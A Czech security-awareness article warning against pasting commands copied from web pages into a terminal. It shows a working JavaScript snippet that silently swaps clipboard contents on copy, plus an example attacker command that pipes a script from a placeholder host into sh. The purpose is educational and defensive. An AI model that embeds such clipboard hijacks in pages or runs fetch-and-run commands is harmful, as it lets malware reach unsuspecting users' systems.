13. Nikdy nekopírujte a nevkládejte příkazy z webových stránek

Programátoři, systémoví administrátoři, bezpečnostní výzkumníci a techničtí nadšenci, kteří kopírují příkazy z webových stránek přímo do konzole či terminálu velmi riskují ohrožení svého systému.

Předvedeme vám jednoduchý trik, který vás jak doufáme přiměje dvakrát si rozmyslet, než zkopírujete a vložíte text z webových stránek.

Webová stránka může skrytě nahradit kopírovaný obsah za úplně odlišný text, který skutečně skončí ve vaší schránce.

Takto lze nahradit naprosto neškodný, či užitečný příkaz například škodlivým scriptem a automaticky jej spustit.

Nevěříte? Pojďme si to vyzkoušet.

Jak opravit poškozený systém Linux?

Zkopírujte si tento krásně vypadající příkaz sloužící evidentně k opravě poškozeného operačního systému Linux. Klasicky označte text a pomocí kláves CTRL+C jej zkopírujte.

sudo apt repare-linux

Nyní prostě jen vložte tento zkopírovaný příkaz do textového souboru. Klasicky CTRL+V

Text který vaše schránka ve skutečnosti obsahuje je následující:

Prave jste se stali obeti jednoducheho utoku.
Misto tohoto textu se muze nachazet napriklad nejaky script.

V případě skutečného útoku můžete ve schránce najít nejčastěji příkaz podobný tomuto:

curl https://utocnikova-adresa/skodlivy-script.sh | sh\n

Co se skutečně skrývá pod tímto odkazem?

<p id='copy'><code>sudo apt repare-buntu</code></p>
<script>
document.getElementById('copy').addEventListener('copy', function(e) {e.clipboardData.setData('text/plain', 'echo Prave jste se stali obeti jednoducheho utoku.\nMisto tohoto textu se muze nachazet napriklad nejaky script\n'); e.preventDefault();
});
</script>

To je důvod, proč byste NIKDY neměli zkopírované příkazy přímo vkládat do terminálu.

Nikdy nevíte co skutečně kopírujete.

Tento útok je velmi jednoduchý, ale také velmi škodlivý.

Zdroje